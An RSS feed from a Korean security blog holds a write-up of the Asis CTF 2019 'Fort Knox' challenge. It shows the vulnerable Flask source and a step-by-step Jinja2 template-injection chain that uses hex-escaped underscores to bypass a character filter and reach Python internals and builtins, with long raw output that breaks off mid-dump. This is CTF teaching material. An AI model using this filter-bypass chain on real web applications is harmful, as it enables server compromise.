<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>White Security</title>
    <link>https://posix.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sat, 8 Aug 2026 09:24:12 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>POSIX</managingEditor>
    <item>
      <title>블로그 이전 안내</title>
      <link>https://posix.tistory.com/112</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;19년 5월 24일 부터&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://p.osix.kr&quot;&gt;https://p.osix.kr&lt;/a&gt;&amp;nbsp;으로 이전하였음을 알려드립니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;감사합니다.&lt;/p&gt;</description>
      <category>ETC</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/112</guid>
      <comments>https://posix.tistory.com/112#entry112comment</comments>
      <pubDate>Fri, 24 May 2019 22:36:05 +0900</pubDate>
    </item>
    <item>
      <title>Asis CTF 2019 - Fort Knox 풀이</title>
      <link>https://posix.tistory.com/111</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;0.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnKrYh/btquHR7Yz6r/oIokuVSTtyYQ6mmcBZYXm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnKrYh/btquHR7Yz6r/oIokuVSTtyYQ6mmcBZYXm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnKrYh/btquHR7Yz6r/oIokuVSTtyYQ6mmcBZYXm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnKrYh%2FbtquHR7Yz6r%2FoIokuVSTtyYQ6mmcBZYXm1%2Fimg.png&quot; data-filename=&quot;0.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Asia CTF web 2번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Flask SSTI 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byqZGw/btquE3hs5UT/iOzzr7Zst3Xdg8KChYdv9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byqZGw/btquE3hs5UT/iOzzr7Zst3Xdg8KChYdv9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byqZGw/btquE3hs5UT/iOzzr7Zst3Xdg8KChYdv9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyqZGw%2FbtquE3hs5UT%2FiOzzr7Zst3Xdg8KChYdv9k%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;접속하면 입력 폼 하나와, 링크 6개가 보이는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크는 아직까지도 무슨 의도인지 모르겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스를 보면 주석으로 파이썬 소스가 주어집니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스가 필요할 정도로 어렵지는 않았는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;보너스 문제 같은 느낌이라 준 것 같습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py python&quot;&gt;from flask import Flask, session
from flask_session import Session
from flask import request
from flask import render_template
from jinja2 import Template

import fort

Flask.secret_key = fort.SECKEY

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config['TEMPLATES_AUTO_RELOAD'] = True
Session(app)

@app.route(&quot;/&quot;)
def main():
    return render_template(&quot;index.html&quot;)

@app.route(&quot;/ask&quot;, methods = [&quot;POST&quot;])
def ask():
    question = request.form[&quot;q&quot;]
    for c in &quot;._%&quot;:
        if c in question:
            return render_template(&quot;no.html&quot;, err = &quot;no &quot; + c)
    try:
        t = Template(question)
        t.globals = {}
        answer = t.render({
            &quot;history&quot;: fort.history(),
            &quot;credit&quot;: fort.credit(),
            &quot;trustworthy&quot;: fort.trustworthy()
        })
    except:
        return render_template(&quot;no.html&quot;, err = &quot;bad&quot;)
    return render_template(&quot;yes.html&quot;, answer = answer)

@app.route(&quot;/door/&amp;lt;door&amp;gt;&quot;)
def door(door):
    if fort.trustworthy():
        return render_template(&quot;flag.html&quot;, flag = fort.FLAG)
    doorNum = 0
    if door is not None:
        doorNum = int(door)
    if doorNum &amp;gt; 0 and doorNum &amp;lt; 7:
        fort.visit(doorNum)
        return render_template(&quot;door.html&quot;, door = doorNum)
    return render_template(&quot;no.html&quot;, err = &quot;Door not found!&quot;)
&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;q를 입력인자로 받고 '._%' 문자를 필터링 하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그러나 파이썬 문법상 모두 우회할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py clean&quot;&gt;7*7
49


[]['\x5f\x5fclass\x5f\x5f']
&amp;lt;type 'list'&amp;gt;


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']
&amp;lt;type 'object'&amp;gt;


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']() 
[&amp;lt;type 'type'&amp;gt;, &amp;lt;type 'weakref'&amp;gt;, &amp;lt;type 'weakcallableproxy'&amp;gt;, &amp;lt;type 'weakproxy'&amp;gt;, &amp;lt;type 'int'&amp;gt;, &amp;lt;type 'basestring'&amp;gt;, &amp;lt;type 'bytearray'&amp;gt;, &amp;lt;type 'list'&amp;gt;, &amp;lt;type 'NoneType'&amp;gt;, &amp;lt;type 'NotImplementedType'&amp;gt;, &amp;lt;type 'traceback'&amp;gt;, &amp;lt;type 'super'&amp;gt;, &amp;lt;type 'xrange'&amp;gt;, &amp;lt;type 'dict'&amp;gt;, &amp;lt;type 'set'&amp;gt;, &amp;lt;type 'slice'&amp;gt;, &amp;lt;type 'staticmethod'&amp;gt;, &amp;lt;type 'complex'&amp;gt;, &amp;lt;type 'float'&amp;gt;, &amp;lt;type 'buffer'&amp;gt;, &amp;lt;type 'long'&amp;gt;, &amp;lt;type 'frozenset'&amp;gt;, &amp;lt;type 'property'&amp;gt;, &amp;lt;type 'memoryview'&amp;gt;, &amp;lt;type 'tuple'&amp;gt;, &amp;lt;type 'enumerate'&amp;gt;, &amp;lt;type 'reversed'&amp;gt;, &amp;lt;type 'code'&amp;gt;, &amp;lt;type 'frame'&amp;gt;, &amp;lt;type 'builtin_function_or_method'&amp;gt;, &amp;lt;type 'instancemethod'&amp;gt;, &amp;lt;type 'function'&amp;gt;, &amp;lt;type 'classobj'&amp;gt;, &amp;lt;type 'dictproxy'&amp;gt;, &amp;lt;type 'generator'&amp;gt;, &amp;lt;type 'getset_descriptor'&amp;gt;, &amp;lt;type 'wrapper_descriptor'&amp;gt;, &amp;lt;type 'instance'&amp;gt;, &amp;lt;type 'ellipsis'&amp;gt;, &amp;lt;type 'member_descriptor'&amp;gt;, &amp;lt;type 'file'&amp;gt;, &amp;lt;type 'PyCapsule'&amp;gt;, &amp;lt;type 'cell'&amp;gt;, &amp;lt;type 'callable-iterator'&amp;gt;, &amp;lt;type 'iterator'&amp;gt;, &amp;lt;type 'sys.long_info'&amp;gt;, &amp;lt;type 'sys.float_info'&amp;gt;, &amp;lt;type 'EncodingMap'&amp;gt;, &amp;lt;type 'fieldnameiterator'&amp;gt;, &amp;lt;type 'formatteriterator'&amp;gt;, &amp;lt;type 'sys.version_info'&amp;gt;, &amp;lt;type 'sys.flags'&amp;gt;, &amp;lt;type 'exceptions.BaseException'&amp;gt;, &amp;lt;type 'module'&amp;gt;, &amp;lt;type 'imp.NullImporter'&amp;gt;, &amp;lt;type 'zipimport.zipimporter'&amp;gt;, &amp;lt;type 'posix.stat_result'&amp;gt;, &amp;lt;type 'posix.statvfs_result'&amp;gt;, &amp;lt;class 'warnings.WarningMessage'&amp;gt;, &amp;lt;class 'warnings.catch_warnings'&amp;gt;, &amp;lt;class '_weakrefset._IterationGuard'&amp;gt;, &amp;lt;class '_weakrefset.WeakSet'&amp;gt;, &amp;lt;class '_abcoll.Hashable'&amp;gt;, &amp;lt;type 'classmethod'&amp;gt;, &amp;lt;class '_abcoll.Iterable'&amp;gt;, &amp;lt;class '_abcoll.Sized'&amp;gt;, &amp;lt;class '_abcoll.Container'&amp;gt;, &amp;lt;class '_abcoll.Callable'&amp;gt;, &amp;lt;type 'dict_keys'&amp;gt;, &amp;lt;type 'dict_items'&amp;gt;, &amp;lt;type 'dict_values'&amp;gt;, &amp;lt;class 'site._Printer'&amp;gt;, &amp;lt;class 'site._Helper'&amp;gt;, &amp;lt;type '_sre.SRE_Pattern'&amp;gt;, &amp;lt;type '_sre.SRE_Match'&amp;gt;, &amp;lt;type '_sre.SRE_Scanner'&amp;gt;, &amp;lt;class 'site.Quitter'&amp;gt;, &amp;lt;class 'codecs.IncrementalEncoder'&amp;gt;, &amp;lt;class 'codecs.IncrementalDecoder'&amp;gt;, &amp;lt;type 'uwsgi._Input'&amp;gt;, &amp;lt;type 'uwsgi.SymbolsImporter'&amp;gt;, &amp;lt;type 'uwsgi.ZipImporter'&amp;gt;, &amp;lt;type 'uwsgi.SymbolsZipImporter'&amp;gt;, &amp;lt;type 'operator.itemgetter'&amp;gt;, &amp;lt;type 'operator.attrgetter'&amp;gt;, &amp;lt;type 'operator.methodcaller'&amp;gt;, &amp;lt;type 'functools.partial'&amp;gt;, &amp;lt;type 'itertools.combinations'&amp;gt;, &amp;lt;type 'itertools.combinations_with_replacement'&amp;gt;, &amp;lt;type 'itertools.cycle'&amp;gt;, &amp;lt;type 'itertools.dropwhile'&amp;gt;, &amp;lt;type 'itertools.takewhile'&amp;gt;, &amp;lt;type 'itertools.islice'&amp;gt;, &amp;lt;type 'itertools.starmap'&amp;gt;, &amp;lt;type 'itertools.imap'&amp;gt;, &amp;lt;type 'itertools.chain'&amp;gt;, &amp;lt;type 'itertools.compress'&amp;gt;, &amp;lt;type 'itertools.ifilter'&amp;gt;, &amp;lt;type 'itertools.ifilterfalse'&amp;gt;, &amp;lt;type 'itertools.count'&amp;gt;, &amp;lt;type 'itertools.izip'&amp;gt;, &amp;lt;type 'itertools.izip_longest'&amp;gt;, &amp;lt;type 'itertools.permutations'&amp;gt;, &amp;lt;type 'itertools.product'&amp;gt;, &amp;lt;type 'itertools.repeat'&amp;gt;, &amp;lt;type 'itertools.groupby'&amp;gt;, &amp;lt;type 'itertools.tee_dataobject'&amp;gt;, &amp;lt;type 'itertools.tee'&amp;gt;, &amp;lt;type 'itertools._grouper'&amp;gt;, &amp;lt;type 'cStringIO.StringO'&amp;gt;, &amp;lt;type 'cStringIO.StringI'&amp;gt;, &amp;lt;class 'string.Template'&amp;gt;, &amp;lt;class 'string.Formatter'&amp;gt;, &amp;lt;type 'collections.deque'&amp;gt;, &amp;lt;type 'deque_iterator'&amp;gt;, &amp;lt;type 'deque_reverse_iterator'&amp;gt;, &amp;lt;type '_thread._localdummy'&amp;gt;, &amp;lt;type 'thread._local'&amp;gt;, &amp;lt;type 'thread.lock'&amp;gt;, &amp;lt;type 'datetime.date'&amp;gt;, &amp;lt;type 'datetime.timedelta'&amp;gt;, &amp;lt;type 'datetime.time'&amp;gt;, &amp;lt;type 'datetime.tzinfo'&amp;gt;, &amp;lt;class 'werkzeug._internal._Missing'&amp;gt;, &amp;lt;class 'werkzeug._internal._DictAccessorProperty'&amp;gt;, &amp;lt;type 'time.struct_time'&amp;gt;, &amp;lt;class 'email.LazyImporter'&amp;gt;, &amp;lt;type 'Struct'&amp;gt;, &amp;lt;type '_hashlib.HASH'&amp;gt;, &amp;lt;type '_random.Random'&amp;gt;, &amp;lt;type '_ssl._SSLContext'&amp;gt;, &amp;lt;type '_ssl._SSLSocket'&amp;gt;, &amp;lt;class 'socket._closedsocket'&amp;gt;, &amp;lt;type '_socket.socket'&amp;gt;, &amp;lt;type 'method_descriptor'&amp;gt;, &amp;lt;class 'socket._socketobject'&amp;gt;, &amp;lt;class 'socket._fileobject'&amp;gt;, &amp;lt;class 'urlparse.ResultMixin'&amp;gt;, &amp;lt;class 'contextlib.GeneratorContextManager'&amp;gt;, &amp;lt;class 'contextlib.closing'&amp;gt;, &amp;lt;class 'calendar.Calendar'&amp;gt;, &amp;lt;type '_io._IOBase'&amp;gt;, &amp;lt;type '_io.IncrementalNewlineDecoder'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ImmutableListMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ImmutableDictMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.UpdateDictMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ViewItems'&amp;gt;, &amp;lt;class 'werkzeug.datastructures._omd_bucket'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.Headers'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ImmutableHeadersMixin'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.IfRange'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.Range'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.ContentRange'&amp;gt;, &amp;lt;class 'werkzeug.datastructures.FileStorage'&amp;gt;, &amp;lt;class 'werkzeug.urls.Href'&amp;gt;, &amp;lt;class 'werkzeug.wsgi.ProxyMiddleware'&amp;gt;, &amp;lt;class 'werkzeug.wsgi.SharedDataMiddleware'&amp;gt;, &amp;lt;class 'werkzeug.wsgi.DispatcherMiddleware'&amp;gt;, &amp;lt;class 'werkzeug.wsgi.ClosingIterator'&amp;gt;, &amp;lt;class 'werkzeug.wsgi.FileWrapper'&amp;gt;, &amp;lt;class 'werkzeug.wsgi._RangeWrapper'&amp;gt;, &amp;lt;class 'werkzeug.formparser.FormDataParser'&amp;gt;, &amp;lt;class 'werkzeug.formparser.MultiPartParser'&amp;gt;, &amp;lt;class 'werkzeug.utils.HTMLBuilder'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.BaseRequest'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.BaseResponse'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.AcceptMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.ETagRequestMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.UserAgentMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.AuthorizationMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.StreamOnlyMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.ETagResponseMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.ResponseStream'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.ResponseStreamMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'&amp;gt;, &amp;lt;class 'werkzeug.wrappers.WWWAuthenticateMixin'&amp;gt;, &amp;lt;class 'werkzeug.exceptions.Aborter'&amp;gt;, &amp;lt;type '_json.Scanner'&amp;gt;, &amp;lt;type '_json.Encoder'&amp;gt;, &amp;lt;class 'json.decoder.JSONDecoder'&amp;gt;, &amp;lt;class 'json.encoder.JSONEncoder'&amp;gt;, &amp;lt;class 'threading._Verbose'&amp;gt;, &amp;lt;type 'cPickle.Unpickler'&amp;gt;, &amp;lt;type 'cPickle.Pickler'&amp;gt;, &amp;lt;class 'jinja2.utils.MissingType'&amp;gt;, &amp;lt;class 'jinja2.utils.LRUCache'&amp;gt;, &amp;lt;class 'jinja2.utils.Cycler'&amp;gt;, &amp;lt;class 'jinja2.utils.Joiner'&amp;gt;, &amp;lt;class 'jinja2.utils.Namespace'&amp;gt;, &amp;lt;class 'markupsafe._MarkupEscapeHelper'&amp;gt;, &amp;lt;class 'jinja2.nodes.EvalContext'&amp;gt;, &amp;lt;class 'jinja2.runtime.TemplateReference'&amp;gt;, &amp;lt;class 'jinja2.nodes.Node'&amp;gt;, &amp;lt;class 'numbers.Number'&amp;gt;, &amp;lt;class 'jinja2.runtime.Context'&amp;gt;, &amp;lt;class 'jinja2.runtime.BlockReference'&amp;gt;, &amp;lt;class 'jinja2.runtime.LoopContextBase'&amp;gt;, &amp;lt;class 'jinja2.runtime.LoopContextIterator'&amp;gt;, &amp;lt;class 'jinja2.runtime.Macro'&amp;gt;, &amp;lt;class 'jinja2.runtime.Undefined'&amp;gt;, &amp;lt;class 'decimal.Decimal'&amp;gt;, &amp;lt;class 'decimal._ContextManager'&amp;gt;, &amp;lt;class 'decimal.Context'&amp;gt;, &amp;lt;class 'decimal._WorkRep'&amp;gt;, &amp;lt;class 'decimal._Log10Memoize'&amp;gt;, &amp;lt;type '_ast.AST'&amp;gt;, &amp;lt;class 'jinja2.lexer.Failure'&amp;gt;, &amp;lt;class 'jinja2.lexer.TokenStreamIterator'&amp;gt;, &amp;lt;class 'jinja2.lexer.TokenStream'&amp;gt;, &amp;lt;class 'jinja2.lexer.Lexer'&amp;gt;, &amp;lt;class 'jinja2.parser.Parser'&amp;gt;, &amp;lt;class 'jinja2.visitor.NodeVisitor'&amp;gt;, &amp;lt;class 'jinja2.idtracking.Symbols'&amp;gt;, &amp;lt;class 'jinja2.compiler.MacroRef'&amp;gt;, &amp;lt;class 'jinja2.compiler.Frame'&amp;gt;, &amp;lt;class 'jinja2.environment.Environment'&amp;gt;, &amp;lt;class 'jinja2.environment.Template'&amp;gt;, &amp;lt;class 'jinja2.environment.TemplateModule'&amp;gt;, &amp;lt;class 'jinja2.environment.TemplateExpression'&amp;gt;, &amp;lt;class 'jinja2.environment.TemplateStream'&amp;gt;, &amp;lt;class 'jinja2.loaders.BaseLoader'&amp;gt;, &amp;lt;class 'jinja2.bccache.Bucket'&amp;gt;, &amp;lt;class 'jinja2.bccache.BytecodeCache'&amp;gt;, &amp;lt;class 'difflib.HtmlDiff'&amp;gt;, &amp;lt;class 'uuid.UUID'&amp;gt;, &amp;lt;type 'CArgObject'&amp;gt;, &amp;lt;type '_ctypes.CThunkObject'&amp;gt;, &amp;lt;type '_ctypes._CData'&amp;gt;, &amp;lt;type '_ctypes.CField'&amp;gt;, &amp;lt;type '_ctypes.DictRemover'&amp;gt;, &amp;lt;class 'ctypes.CDLL'&amp;gt;, &amp;lt;class 'ctypes.LibraryLoader'&amp;gt;, &amp;lt;type 'select.epoll'&amp;gt;, &amp;lt;class 'subprocess.Popen'&amp;gt;, &amp;lt;class 'werkzeug.routing.RuleFactory'&amp;gt;, &amp;lt;class 'werkzeug.routing.RuleTemplate'&amp;gt;, &amp;lt;class 'werkzeug.routing.BaseConverter'&amp;gt;, &amp;lt;class 'werkzeug.routing.Map'&amp;gt;, &amp;lt;class 'werkzeug.routing.MapAdapter'&amp;gt;, &amp;lt;class 'ast.NodeVisitor'&amp;gt;, &amp;lt;class 'click._compat._FixupStream'&amp;gt;, &amp;lt;class 'click._compat._AtomicFile'&amp;gt;, &amp;lt;class 'click.utils.LazyFile'&amp;gt;, &amp;lt;class 'click.utils.KeepOpenFile'&amp;gt;, &amp;lt;class 'click.utils.PacifyFlushWrapper'&amp;gt;, &amp;lt;class 'click.types.ParamType'&amp;gt;, &amp;lt;class 'click.parser.Option'&amp;gt;, &amp;lt;class 'click.parser.Argument'&amp;gt;, &amp;lt;class 'click.parser.ParsingState'&amp;gt;, &amp;lt;class 'click.parser.OptionParser'&amp;gt;, &amp;lt;class 'click.formatting.HelpFormatter'&amp;gt;, &amp;lt;class 'click.core.Context'&amp;gt;, &amp;lt;class 'click.core.BaseCommand'&amp;gt;, &amp;lt;class 'click.core.Parameter'&amp;gt;, &amp;lt;class 'werkzeug.local.Local'&amp;gt;, &amp;lt;class 'werkzeug.local.LocalStack'&amp;gt;, &amp;lt;class 'werkzeug.local.LocalManager'&amp;gt;, &amp;lt;class 'werkzeug.local.LocalProxy'&amp;gt;, &amp;lt;class 'flask.signals.Namespace'&amp;gt;, &amp;lt;class 'flask.signals._FakeSignal'&amp;gt;, &amp;lt;class 'flask.helpers.locked_cached_property'&amp;gt;, &amp;lt;class 'flask.helpers._PackageBoundObject'&amp;gt;, &amp;lt;class 'flask.cli.DispatchingApp'&amp;gt;, &amp;lt;class 'flask.cli.ScriptInfo'&amp;gt;, &amp;lt;class 'itsdangerous._json._CompactJSON'&amp;gt;, &amp;lt;class 'itsdangerous.signer.SigningAlgorithm'&amp;gt;, &amp;lt;class 'itsdangerous.signer.Signer'&amp;gt;, &amp;lt;class 'itsdangerous.serializer.Serializer'&amp;gt;, &amp;lt;class 'itsdangerous.url_safe.URLSafeSerializerMixin'&amp;gt;, &amp;lt;class 'flask.config.ConfigAttribute'&amp;gt;, &amp;lt;class 'flask.ctx._AppCtxGlobals'&amp;gt;, &amp;lt;class 'flask.ctx.AppContext'&amp;gt;, &amp;lt;class 'flask.ctx.RequestContext'&amp;gt;, &amp;lt;class 'logging.LogRecord'&amp;gt;, &amp;lt;class 'logging.Formatter'&amp;gt;, &amp;lt;class 'logging.BufferingFormatter'&amp;gt;, &amp;lt;class 'logging.Filter'&amp;gt;, &amp;lt;class 'logging.Filterer'&amp;gt;, &amp;lt;class 'logging.PlaceHolder'&amp;gt;, &amp;lt;class 'logging.Manager'&amp;gt;, &amp;lt;class 'logging.LoggerAdapter'&amp;gt;, &amp;lt;class 'flask.json.tag.JSONTag'&amp;gt;, &amp;lt;class 'flask.json.tag.TaggedJSONSerializer'&amp;gt;, &amp;lt;class 'flask.sessions.SessionInterface'&amp;gt;, &amp;lt;class 'flask.wrappers.JSONMixin'&amp;gt;, &amp;lt;class 'flask.blueprints.BlueprintSetupState'&amp;gt;, &amp;lt;class 'flask_session.Session'&amp;gt;, &amp;lt;class 'werkzeug.contrib.cache.BaseCache'&amp;gt;, &amp;lt;class 'jinja2.debug.TracebackFrameProxy'&amp;gt;, &amp;lt;class 'jinja2.ext.Extension'&amp;gt;, &amp;lt;class 'jinja2.ext._CommentFinder'&amp;gt;, &amp;lt;class 'jinja2.debug.ProcessedTraceback'&amp;gt;, &amp;lt;class 'werkzeug.test._TestCookieHeaders'&amp;gt;, &amp;lt;class 'werkzeug.test._TestCookieResponse'&amp;gt;, &amp;lt;class 'werkzeug.test.EnvironBuilder'&amp;gt;, &amp;lt;class 'werkzeug.test.Client'&amp;gt;, &amp;lt;type 'method-wrapper'&amp;gt;, &amp;lt;type 'tupleiterator'&amp;gt;]


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()['\x5f\x5finit\x5f\x5f'] 
&amp;lt;method-wrapper '__init__' of list object at 0x7f59d5c44d88&amp;gt;


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59] 
&amp;lt;class 'warnings.catch_warnings'&amp;gt;


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f'] 
&amp;lt;unbound method catch_warnings.__init__&amp;gt;


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f'] 
{'filterwarnings': &amp;lt;function filterwarnings at 0x7f59df7cdaa0&amp;gt;, 'once_registry': {}, 'WarningMessage': &amp;lt;class 'warnings.WarningMessage'&amp;gt;, '_show_warning': &amp;lt;function _show_warning at 0x7f59df7cda28&amp;gt;, 'filters': [('ignore', &amp;lt;_sre.SRE_Pattern object at 0x7f59d721f618&amp;gt;, &amp;lt;type 'exceptions.DeprecationWarning'&amp;gt;, &amp;lt;_sre.SRE_Pattern object at 0x7f59d6f94450&amp;gt;, 0), ('ignore', None, &amp;lt;type 'exceptions.DeprecationWarning'&amp;gt;, None, 0), ('ignore', None, &amp;lt;type 'exceptions.PendingDeprecationWarning'&amp;gt;, None, 0), ('ignore', None, &amp;lt;type 'exceptions.ImportWarning'&amp;gt;, None, 0), ('ignore', None, &amp;lt;type 'exceptions.BytesWarning'&amp;gt;, None, 0)], '_setoption': &amp;lt;function _setoption at 0x7f59df7cdcf8&amp;gt;, 'showwarning': &amp;lt;function _show_warning at 0x7f59df7cda28&amp;gt;, '__all__': ['warn', 'warn_explicit', 'showwarning', 'formatwarning', 'filterwarnings', 'simplefilter', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': &amp;lt;function simplefilter at 0x7f59df7cdb90&amp;gt;, 'default_action': 'default', '_getcategory': &amp;lt;function _getcategory at 0x7f59df7cdde8&amp;gt;, '__builtins__': {'bytearray': &amp;lt;type 'bytearray'&amp;gt;, 'IndexError': &amp;lt;type 'exceptions.IndexError'&amp;gt;, 'all': &amp;lt;built-in function all&amp;gt;, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': &amp;lt;built-in function vars&amp;gt;, 'SyntaxError': &amp;lt;type 'exceptions.SyntaxError'&amp;gt;, 'unicode': &amp;lt;type 'unicode'&amp;gt;, 'UnicodeDecodeError': &amp;lt;type 'exceptions.UnicodeDecodeError'&amp;gt;, 'memoryview': &amp;lt;type 'memoryview'&amp;gt;, 'isinstance': &amp;lt;built-in function isinstance&amp;gt;, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'NameError': &amp;lt;type 'exceptions.NameError'&amp;gt;, 'BytesWarning': &amp;lt;type 'exceptions.BytesWarning'&amp;gt;, 'dict': &amp;lt;type 'dict'&amp;gt;, 'input': &amp;lt;built-in function input&amp;gt;, 'oct': &amp;lt;built-in function oct&amp;gt;, 'bin': &amp;lt;built-in function bin&amp;gt;, 'SystemExit': &amp;lt;type 'exceptions.SystemExit'&amp;gt;, 'StandardError': &amp;lt;type 'exceptions.StandardError'&amp;gt;, 'format': &amp;lt;built-in function format&amp;gt;, 'repr': &amp;lt;built-in function repr&amp;gt;, 'sorted': &amp;lt;built-in function sorted&amp;gt;, 'False': False, 'RuntimeWarning': &amp;lt;type 'exceptions.RuntimeWarning'&amp;gt;, 'list': &amp;lt;type 'list'&amp;gt;, 'iter': &amp;lt;built-in function iter&amp;gt;, 'reload': &amp;lt;built-in function reload&amp;gt;, 'Warning': &amp;lt;type 'exceptions.Warning'&amp;gt;, '__package__': None, 'round': &amp;lt;built-in function round&amp;gt;, 'dir': &amp;lt;built-in function dir&amp;gt;, 'cmp': &amp;lt;built-in function cmp&amp;gt;, 'set': &amp;lt;type 'set'&amp;gt;, 'bytes': &amp;lt;type 'str'&amp;gt;, 'reduce': &amp;lt;built-in function reduce&amp;gt;, 'intern': &amp;lt;built-in function intern&amp;gt;, 'issubclass': &amp;lt;built-in function issubclass&amp;gt;, 'Ellipsis': Ellipsis, 'EOFError': &amp;lt;type 'exceptions.EOFError'&amp;gt;, 'locals': &amp;lt;built-in function locals&amp;gt;, 'BufferError': &amp;lt;type 'exceptions.BufferError'&amp;gt;, 'slice': &amp;lt;type 'slice'&amp;gt;, 'FloatingPointError': &amp;lt;type 'exceptions.FloatingPointError'&amp;gt;, 'sum': &amp;lt;built-in function sum&amp;gt;, 'getattr': &amp;lt;built-in function getattr&amp;gt;, 'abs': &amp;lt;built-in function abs&amp;gt;, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'print': &amp;lt;built-in function print&amp;gt;, 'True': True, 'FutureWarning': &amp;lt;type 'exceptions.FutureWarning'&amp;gt;, 'ImportWarning': &amp;lt;type 'exceptions.ImportWarning'&amp;gt;, 'None': None, 'hash': &amp;lt;built-in function hash&amp;gt;, 'ReferenceError': &amp;lt;type 'exceptions.ReferenceError'&amp;gt;, 'len': &amp;lt;built-in function len&amp;gt;, 